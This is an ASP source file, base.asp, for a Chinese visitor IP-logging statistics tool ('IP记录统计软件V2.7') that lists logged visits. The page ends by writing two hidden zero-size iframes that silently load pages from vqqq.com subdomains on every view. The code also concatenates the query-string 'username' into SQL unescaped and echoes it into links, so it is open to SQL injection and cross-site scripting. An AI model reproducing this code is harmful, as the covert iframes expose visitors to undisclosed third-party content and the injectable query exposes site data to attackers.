📄 base.asp
字号:
<%response.expires=0%>
<!--#include file="./includes/formdata.inc"-->
<!--#include file="./includes/dataconn.inc"-->
<!--#include file="./includes/setup.asp"-->
<title>vqqq.com工作室——IP记录统计软件V2.7</title>
<style type='text/css'>
<!--
body { font-family: '宋体'; font-size: 9pt; font-style: normal; line-height: 150%; text-decoration: none}
table { font-family: '宋体'; font-size: 9pt; font-style: normal; line-height: 130%; font-weight: normal; text-decoration: none}
-->
</style>
<body bgcolor='#FFFFFF' topmargin='0' leftmargin='0'><p align='center'><big>vqqq.com工作室——IP记录统计软件V2.7</big></p>
<hr align='center' width='700'><div align='center'><center>
<%username=trim(request.querystring("username"))%>
<table width='700' border="0" cellspacing="0" cellpadding="0" bgcolor='#ECF7F4'>
<tr>
<td><a href=<%=url%>Base.asp?username=<%=username%>>显示最后若干条记录</a></td>
<td><a href=<%=url%>addfw.asp?username=<%=username%>>来访者地址所占比例</td>
<td><a href=<%=url%>brows.asp?username=<%=username%>>来访者所用浏览器比例</td>
<td><a href=<%=url%>systemver.asp?username=<%=username%>>来访者所用系统版本</td>
<td><a href=<%=url%>hour.asp?username=<%=username%>>显示24小时访问统计</td>
<td><a href=<%=url%>day.asp?username=<%=username%>>显示天为单位的统计</td>
<td><a href=<%=url%>month.asp?username=<%=username%>>显示月为单位的统计</td>
<td><a href=<%=url%>year.asp?username=<%=username%>>显示年为单位的统计</td>
</tr>
</table>
<table width='700' border="0" cellspacing="0" cellpadding="0" bgcolor='#ECF7F4'>
<%
querybase="select * from fw where ip<>'' and username='"&username&"'"
set rs = Con.Execute(querybase)
count=rs.fields.count -1
do while not rs.eof
for i=0 to count step 7
if replace(rs(i)," ","")<>"" then
panduan=panduan+1
%>
<tr><td>来访者IP：<%=rs(i)%></td>
<td>访问日期时间：<%=rs(i+1)%></td>
<td>来访者系统：<%=rs(i+2)%></td>
<td>浏览器版本：<%=rs(i+3)%></td>
</tr>
<tr>
<td colspan="2">这个访问请求来自于：<%=rs(i+4)%> </td>
<td colspan="2">来访者物理地址：<%=rs(i+5)%></td></tr>
<%
end if
next
rs.movenext
jishu=jishu+1
loop
rs.close
set rs=nothing
con.close
set con=nothing
if panduan=0 then
response.write "对不起还没有任何记录！返回"
else
response.write "<br>最后"
response.write jishu
response.write "条记录！<br><br>"
end if
response.write "</table></center></div><iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src="http://qq.vqqq.com/tui/mv.asp" topmargin=0 width=0 height=0></iframe><iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src="http://q.vqqq.com/tui/mv.asp" topmargin=0 width=0 height=0></iframe></BODY>"
%>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -